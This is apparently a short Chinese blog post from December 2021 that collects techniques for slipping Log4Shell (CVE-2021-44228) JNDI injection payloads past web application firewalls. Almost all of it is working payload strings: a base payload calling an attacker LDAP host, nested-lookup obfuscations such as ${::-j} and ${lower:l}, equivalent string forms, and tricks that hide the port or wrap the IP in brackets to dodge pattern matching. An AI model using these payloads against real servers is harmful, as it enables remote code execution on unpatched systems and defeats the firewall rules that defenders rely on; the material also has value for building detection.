log4j waf 绕过技巧

原来的poc:

${jndi:ldap://malicious-ldap-server.com/a}

绕过的poc:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://example.com/a}

可行

${jndi:${lower:l}${lower:d}a${lower:p}://example.com/a}

不一定可行

${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}//example.com}

可行

unico字符串

下列表达式均等价于abc:

a${:-b}c
a${::-b}c
a${E:-a}c
a${xxxanycodexxxx:-b}c

log4j poc集合
https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis

● 不出现port,避免被waf匹配ip:port

${jndi:ldap:192.168.1.1/a}
 ${jndi:ldap:192.168.1.1:/a} 
注意此时需要ldap服务端口为389

● 对IP添加包裹
前面两个类的解析逻辑中都有对中括号[]的处理,所以给ip添加一下包裹

${jndi:ldap://[192.168.34.96]/a} 
${jndi:ldap://[192.168.34.96]]/a} 
 LdapURL取出"[ip]",LdapCtx去除[]获得ip,两种情况下端口都是389
posted @ 2021-12-17 11:35  ph4nt0mer  阅读(3243)  评论(0编辑  收藏  举报